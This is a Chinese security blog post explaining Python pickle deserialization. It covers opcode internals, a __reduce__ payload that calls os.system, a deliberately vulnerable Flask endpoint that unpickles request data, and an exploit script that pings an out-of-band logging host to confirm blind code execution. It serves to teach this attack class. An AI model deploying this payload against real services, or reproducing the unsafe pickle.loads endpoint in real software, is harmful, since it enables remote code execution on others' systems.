pickle


一、pickle 反序列化

1.1 原理

pickle 是相当于一个指令解释器,解析对应的opcode指令。因此其实python的序列化和反序列化机制更像是一个代码执行。pickle 的反序列化器是一个 opcode 解释器:它按顺序读取 opcode 并执行对应的动作。Pickle 的 opcode ≈ Python 对象操作的汇编代码,这也就是说我们的

  • Python 字节码解释 Python 源代码用的“机器码”
  • Pickle opcode解释 Python 对象结构和构造过程用的“脚本码”

类似汇编语言

1
2
3
4
5
6
7

c__builtin__\nos\nsystem\n ← 加载 os.system
(Sid hello.txt\n ← 准备参数 ("id hello.txt",)
t ← 创建 tuple
R ← 调用函数 os.system(...)
. ← 结束

  • Pickle 是一种带有执行语义的脚本格式

  • 它的 opcode 可以直接构造对象、调用函数(如 os.system())。

  • 所以,只要你给 Python 反序列化一个恶意构造的 pickle 数据,它就会自动“解释执行”这些指令

1.2 rce

因为 pickle.loads()直接执行传入数据中的指令(opcode),而这些指令可以构造任意对象、调用任意函数、执行任意系统命令 —— 这就是完整的代码执行能力。

pickle.dumps()

  • 不是 把 Python 代码序列化成字节码(像 .pyc 文件那样);

  • 它是把一个 Python 对象(含其结构、数据、构造方法) 序列化成一种 pickle 指令流(opcode 流)

  • 这个 opcode 是 pickle 模块内部设计的一套“迷你语言”,能表示“如何构造这个对象”。

1.3 构造

__reduce__()

在 Python 中,pickle 模块用来“序列化”和“反序列化”对象。
而当你 反序列化 一个对象时,pickle 必须知道:

“我应该怎么重新构造这个对象?”

这时候就靠对象的 __reduce__() 方法 来告诉 pickle 如何“重建自己”

1
2
3
4
5
import os
class Evil:
def __reduce__(self):

return (os.system, ("id",)) # 任意系统命令

只需要一个元组 带上函数名字 + 元组参数

二、复现

其实我感觉还是很简单的. 并且官方其实没有一些修复方式。这不算是一个漏洞,更多是算是一种特性。

server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from flask import Flask, request

import pickle

import base64




app = Flask(__name__)



@app.route("/pickle_load", methods=["POST"])

def load():

    data = request.data

    data=base64.b64decode(data)

    obj = pickle.loads(data)

    return "Loaded"




if __name__ == "__main__":

    app.run(debug=True, host='0.0.0.0', port=5000)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import pickle

import os

import base64



class Evil:

    def __reduce__(self):

        return (os.system, ("ping  3.813902be86.ipv6.bypass.eu.org",))



a=pickle.dumps(Evil())

print(base64.b64encode(a))

成功构造无回显rce

image.png


文章作者: K1T0
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 K1T0 !
  目录